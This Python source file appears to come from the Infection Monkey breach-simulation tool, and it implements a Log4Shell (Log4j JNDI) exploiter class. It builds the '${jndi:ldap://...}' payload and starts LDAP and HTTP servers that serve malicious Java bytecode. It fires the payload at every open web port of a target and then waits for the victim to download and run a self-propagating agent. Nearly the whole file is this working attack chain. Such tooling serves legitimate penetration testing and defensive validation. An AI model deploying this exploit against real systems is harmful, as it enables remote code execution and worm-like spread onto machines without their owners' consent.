forked from p15670423/monkey
196 lines
6.9 KiB
Python
196 lines
6.9 KiB
Python
import logging
|
|
import time
|
|
|
|
from common.utils.exploit_enum import ExploitType
|
|
from infection_monkey.exploit.log4shell_utils import (
|
|
LINUX_EXPLOIT_TEMPLATE_PATH,
|
|
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
|
ExploitClassHTTPServer,
|
|
LDAPExploitServer,
|
|
build_exploit_bytecode,
|
|
get_log4shell_service_exploiters,
|
|
)
|
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|
from infection_monkey.exploit.web_rce import WebRCE
|
|
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
|
|
from infection_monkey.model import (
|
|
DROPPER_ARG,
|
|
LOG4SHELL_LINUX_COMMAND,
|
|
LOG4SHELL_WINDOWS_COMMAND,
|
|
VictimHost,
|
|
)
|
|
from infection_monkey.network.info import get_free_tcp_port
|
|
from infection_monkey.network.tools import get_interface_to_target
|
|
from infection_monkey.utils.commands import build_monkey_commandline
|
|
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
class Log4ShellExploiter(WebRCE):
|
|
_TARGET_OS_TYPE = ["linux", "windows"]
|
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
|
_EXPLOITED_SERVICE = "Log4j"
|
|
SERVER_SHUTDOWN_TIMEOUT = 15
|
|
REQUEST_TO_VICTIM_TIMEOUT = (
|
|
5 # Max time agent will wait for the response from victim in SECONDS
|
|
)
|
|
|
|
def __init__(self, host: VictimHost):
|
|
super().__init__(host)
|
|
|
|
self._ldap_port = get_free_tcp_port()
|
|
|
|
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
|
self._class_http_server_port = get_free_tcp_port()
|
|
|
|
self._ldap_server = None
|
|
self._exploit_class_http_server = None
|
|
self._agent_http_server_thread = None
|
|
self._open_ports = [
|
|
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
|
]
|
|
|
|
def _exploit_host(self):
|
|
if not self._open_ports:
|
|
logger.info("Could not find any open web ports to exploit")
|
|
return False
|
|
|
|
self._start_servers()
|
|
try:
|
|
return self.exploit(None, None)
|
|
finally:
|
|
self._stop_servers()
|
|
|
|
def _start_servers(self):
|
|
# Start http server, to serve agent to victims
|
|
paths = self.get_monkey_paths()
|
|
agent_http_path = self._start_agent_http_server(paths)
|
|
|
|
# Build agent execution command
|
|
command = self._build_command(paths["dest_path"], agent_http_path)
|
|
|
|
# Start http server to serve malicious java class to victim
|
|
self._start_class_http_server(command)
|
|
|
|
# Start ldap server to redirect ldap query to java class server
|
|
self._start_ldap_server()
|
|
|
|
def _start_agent_http_server(self, agent_paths: dict) -> str:
|
|
# Create server for http download and wait for it's startup.
|
|
http_path, http_thread = HTTPTools.try_create_locked_transfer(
|
|
self.host, agent_paths["src_path"]
|
|
)
|
|
self._agent_http_server_thread = http_thread
|
|
return http_path
|
|
|
|
def _start_class_http_server(self, command: str):
|
|
java_class = self._build_java_class(command)
|
|
|
|
self._exploit_class_http_server = ExploitClassHTTPServer(
|
|
self._class_http_server_ip, self._class_http_server_port, java_class
|
|
)
|
|
self._exploit_class_http_server.run()
|
|
|
|
def _start_ldap_server(self):
|
|
self._ldap_server = LDAPExploitServer(
|
|
ldap_server_port=self._ldap_port,
|
|
http_server_ip=self._class_http_server_ip,
|
|
http_server_port=self._class_http_server_port,
|
|
storage_dir=get_monkey_dir_path(),
|
|
)
|
|
self._ldap_server.run()
|
|
|
|
def _stop_servers(self):
|
|
logger.debug("Stopping all LDAP and HTTP Servers")
|
|
self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
|
|
|
self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
|
|
|
self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
|
|
|
def _build_ldap_payload(self) -> str:
|
|
interface_ip = get_interface_to_target(self.host.ip_addr)
|
|
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
|
|
|
|
def _build_command(self, path, http_path) -> str:
|
|
# Build command to execute
|
|
monkey_cmd = build_monkey_commandline(
|
|
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
|
|
)
|
|
if "linux" in self.host.os["type"]:
|
|
base_command = LOG4SHELL_LINUX_COMMAND
|
|
else:
|
|
base_command = LOG4SHELL_WINDOWS_COMMAND
|
|
|
|
return base_command % {
|
|
"monkey_path": path,
|
|
"http_path": http_path,
|
|
"monkey_type": DROPPER_ARG,
|
|
"parameters": monkey_cmd,
|
|
}
|
|
|
|
def _build_java_class(self, exploit_command: str) -> bytes:
|
|
if "linux" in self.host.os["type"]:
|
|
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
|
|
else:
|
|
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
|
|
|
|
def exploit(self, url, command) -> bool:
|
|
# Try to exploit all services,
|
|
# because we don't know which services are running and on which ports
|
|
for exploit in get_log4shell_service_exploiters():
|
|
for port in self._open_ports:
|
|
try:
|
|
exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
|
except Exception as ex:
|
|
logger.warning(
|
|
"An error occurred while attempting to exploit log4shell on a "
|
|
f"potential {exploit.service_name} service: {ex}"
|
|
)
|
|
|
|
if self._wait_for_victim():
|
|
self.exploit_info["vulnerable_service"] = {
|
|
"service_name": exploit.service_name,
|
|
"port": port,
|
|
}
|
|
return True
|
|
|
|
return False
|
|
|
|
def _wait_for_victim(self) -> bool:
|
|
victim_called_back = False
|
|
|
|
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
|
if victim_called_back:
|
|
self._wait_for_victim_to_download_agent()
|
|
|
|
return victim_called_back
|
|
|
|
def _wait_for_victim_to_download_java_bytecode(self) -> bool:
|
|
start_time = time.time()
|
|
|
|
while not self._victim_timeout_expired(
|
|
start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
|
|
):
|
|
if self._exploit_class_http_server.exploit_class_downloaded():
|
|
return True
|
|
|
|
time.sleep(1)
|
|
|
|
return False
|
|
|
|
def _wait_for_victim_to_download_agent(self):
|
|
start_time = time.time()
|
|
|
|
while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
|
|
if self._agent_http_server_thread.downloads > 0:
|
|
break
|
|
|
|
time.sleep(1)
|
|
|
|
@classmethod
|
|
def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
|
|
return timeout < (time.time() - start_time)
|